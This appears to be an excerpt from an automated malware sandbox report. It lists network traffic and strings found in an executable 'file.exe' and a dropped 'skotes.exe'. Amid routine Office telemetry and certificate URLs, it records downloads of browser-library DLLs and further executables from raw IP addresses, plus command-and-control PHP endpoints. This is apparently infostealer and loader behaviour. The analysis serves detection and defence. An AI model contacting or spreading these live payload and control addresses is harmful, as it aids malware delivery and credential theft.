Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/6453571829/BY5BeYh.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ogs.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4831Host: login.live.com

Source: file.exe, 00000000.00000002.2731022617.0000000000D44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2731022617.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2731631245.000000000109C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2731631245.0000000001054000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2731022617.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2731022617.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/#Z
Source: file.exe, 00000000.00000002.2731022617.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2731022617.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2731022617.0000000000D44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2731022617.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2731022617.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllVJ
Source: file.exe, 00000000.00000002.2731022617.0000000000D44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2731022617.0000000000D44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll#;WE4u
Source: file.exe, 00000000.00000002.2731022617.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllDJ
Source: file.exe, 00000000.00000002.2731022617.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllzJ
Source: file.exe, 00000000.00000002.2731022617.0000000000D74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2731022617.0000000000D74000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2731631245.0000000001054000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2731631245.000000000109C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php6055ea67f8c3dfc616e458778bb3Extension
Source: file.exe, 00000000.00000002.2756051539.000000002384A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php78
Source: file.exe, 00000000.00000002.2756051539.000000002384A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpB9
Source: file.exe, 00000000.00000002.2731631245.0000000001054000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2731022617.0000000000D18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2731631245.0000000001054000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpge
Source: file.exe, 00000000.00000002.2731022617.0000000000D74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php~fj
Source: file.exe, 00000000.00000002.2731022617.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206F
Source: file.exe, 00000000.00000002.2731631245.0000000001054000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ta
Source: skotes.exe, 0000001A.00000002.3391403923.0000000000A0B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3391403923.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001A.00000002.3391403923.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpF7u
Source: skotes.exe, 0000001A.00000002.3391403923.0000000000A0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpo
Source: skotes.exe, 0000001A.00000002.3391403923.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11//Zu7JuNko/index.php
Source: skotes.exe, 0000001A.00000002.3391403923.0000000000A0B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3391403923.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3391403923.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6453571829/BY5BeYh.exe
Source: skotes.exe, 0000001A.00000002.3391403923.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6453571829/BY5BeYh.exe#
Source: skotes.exe, 0000001A.00000002.3391403923.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6453571829/BY5BeYh.exe/B
Source: skotes.exe, 0000001A.00000002.3391403923.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6453571829/BY5BeYh.exe9B
Source: skotes.exe, 0000001A.00000002.3391403923.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6453571829/BY5BeYh.exeKB
Source: skotes.exe, 0000001A.00000002.3391403923.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6453571829/BY5BeYh.exeXYZ0123456789
Source: skotes.exe, 0000001A.00000002.3391403923.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6453571829/BY5BeYh.exe_b
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_211.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2752186147.000000001D810000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778727239.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.2756051539.0000000023780000.00000004.00000020.00020000.00000000.sdmp, BFIDGDAK.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_211.4.dr	String found in binary or memory: https://apis.google.com
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, FIEHIIIJDAAAAAAKECBF.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, FIEHIIIJDAAAAAAKECBF.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: BFIDGDAK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2756051539.0000000023780000.00000004.00000020.00020000.00000000.sdmp, BFIDGDAK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2756051539.0000000023780000.00000004.00000020.00020000.00000000.sdmp, BFIDGDAK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, FIEHIIIJDAAAAAAKECBF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, FIEHIIIJDAAAAAAKECBF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: BFIDGDAK.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BFIDGDAK.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BFIDGDAK.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_211.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_211.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_211.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_211.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: FIEHIIIJDAAAAAAKECBF.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_211.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: EGDBFIIECBGDGDGDHCAKKFBFIE.0.dr	String found in binary or memory: https://support.mozilla.org
Source: EGDBFIIECBGDGDGDHCAKKFBFIE.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EGDBFIIECBGDGDGDHCAKKFBFIE.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, FIEHIIIJDAAAAAAKECBF.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2756051539.0000000023780000.00000004.00000020.00020000.00000000.sdmp, BFIDGDAK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chromecache_211.4.dr	String found in binary or memory: https://www.google.com
Source: BFIDGDAK.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_211.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_211.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_211.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: EGDBFIIECBGDGDGDHCAKKFBFIE.0.dr	String found in binary or memory: https://www.mozilla.org
Source: EGDBFIIECBGDGDGDHCAKKFBFIE.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: file.exe, 00000000.00000002.2731631245.0000000001137000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2731631245.0000000001054000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2731631245.0000000001137000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/EBFIJKEBFBFH
Source: EGDBFIIECBGDGDGDHCAKKFBFIE.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2731631245.0000000001137000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2731631245.0000000001054000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
